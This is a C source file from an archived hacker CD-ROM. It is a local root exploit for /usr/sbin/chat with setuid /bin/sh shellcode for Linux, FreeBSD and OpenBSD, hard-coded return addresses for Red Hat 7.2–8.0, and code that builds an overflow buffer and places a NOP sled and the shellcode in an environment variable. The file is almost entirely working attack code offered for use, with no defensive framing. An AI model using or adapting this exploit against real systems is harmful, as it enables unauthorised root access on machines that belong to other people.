home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / exchat / ex_chat.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  3.0 KB  |  125 lines

  1. /* 
  2.  * /usr/sbin/chat <= Local Exploit
  3.  * By Dvdman@L33TSECURITY.COM
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <unistd.h>
  9. #include <stdlib.h>
  10.  
  11.  
  12. #define MAX_ARCH 8
  13.  
  14. //Linux Setuid Shellcode
  15. char linuxshellcode[] =
  16. "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
  17. "\xeb\x16\x31\xdb\x31\xc9\xf7\xe1"
  18. "\x5b\xb0\x0b\x88\x53\x07\x52\x53"
  19. "\x89\xe1\xcd\x80\xb0\x01\xcd\x80"
  20. "\xe8\xe5\xff\xff\xff/bin/sh";
  21.  
  22.  
  23.  
  24.  
  25. //FreeBSD Setuid Shellcode
  26. char freebsdshellcode[]=
  27. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  28. "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
  29. "\xb0\x3b\x50\xcd\x80";
  30.  
  31. //OpenBsd shellcode
  32. char openbsdshellcode[]=
  33.   "\x99"            /* cdq              */
  34.   "\x52"            /* push %edx        */
  35.   "\x68\x6e\x2f\x73\x68"    /* push $0x68732f6e */
  36.   "\x68\x2f\x2f\x62\x69"    /* push $0x69622f2f */
  37.   "\x89\xe3"            /* mov %esp,%ebx    */
  38.   "\x52"            /* push %edx        */
  39.   "\x54"            /* push %esp        */
  40.   "\x53"            /* push %ebx        */
  41.   "\x53"            /* push %ebx        */
  42.   "\x6a\x3b"            /* push $0x3b       */
  43.   "\x58"            /* pop %eax         */
  44.   "\xcd\x80";            /* int $0x80        */
  45.  
  46.  
  47. struct TARGET {
  48.         char *type;
  49.         char *shellcode;
  50.         unsigned long ret_addr;
  51.         int pad;
  52. };
  53.  
  54. struct TARGET targets [] = {
  55. {"Redhat 7.2 -x86 setuid shellcode", linuxshellcode, 0xbfffff8c,1052},
  56. {"Redhat 7.3 -x86 setuid shellcode", linuxshellcode, 0xbfffff8c,1052},
  57. {"Redhat 8.0 -x86 setuid shellcode", linuxshellcode, 0xbfffff8c,1052},
  58. {NULL, NULL, 0}
  59. };
  60.  
  61. unsigned long sp(void)         // This is just a little function
  62. { __asm__("movl %esp, %eax");} // used to return the stack pointer
  63.  
  64. void ussage (char *argv);
  65.  
  66.  
  67. int main(int argc, char **argv) {
  68. char buffer[3000];
  69. int x,i,blah;
  70. int target;
  71. int arch;
  72. long esp;
  73.  
  74. char *ptr;
  75. long *longptr;
  76. char shell[512]; 
  77.  
  78. if ((argc < 2))
  79. ussage(argv[0]);
  80. target = atoi(argv[1]);
  81.  
  82. esp = sp();                 // Put the current stack pointer into esp
  83. printf("Elite /usr/bin/chat Exploit\n");
  84. printf("By Dvdman@l33tsecurity.com\n");
  85. printf("BORED BORED BORED BORED BORED\n");
  86. printf("Stack pointer: 0x%x\n", esp);
  87. printf("Return Addr: 0x%x\n", targets[target].ret_addr);
  88.  
  89. // Building the Buffer
  90. bzero(&buffer, sizeof(buffer));
  91. memset(buffer,'A',targets[target].pad); //size of buffer
  92. *(unsigned long *)(buffer+strlen(buffer))=targets[target].ret_addr; //return address
  93.  
  94.  
  95. //setting shellcode to ENVSPACE
  96. memset(shell,0x90,100);
  97. memcpy(&shell[100-strlen(targets[target].shellcode)],targets[target].shellcode,strlen(targets[target].shellcode)); 
  98. memcpy(shell,"SHELLCODE=",10); 
  99. putenv(shell); 
  100.  
  101. execl("/usr/sbin/chat", "chat", buffer, NULL);
  102.  
  103.  
  104.  
  105. }
  106.  
  107.  
  108. void list_targets () {
  109.         int i;
  110.  
  111.         for (i=0; targets[i].type != NULL; i++) {
  112.                 fprintf (stderr, "%d) - %s\n", i, targets[i].type);
  113.         }
  114. }
  115.  
  116. void ussage (char *argv) {
  117.         printf ("%s - /usr/sbin/chat local lame exploit, user, whatever exploit\n", argv);
  118.         printf ("written by dvdman\n\n");
  119.  
  120.         printf ("Ussage %s <target type> \ntargets avalible:\n\n");
  121.         list_targets ();
  122.         exit(0);
  123. }
  124.  
  125.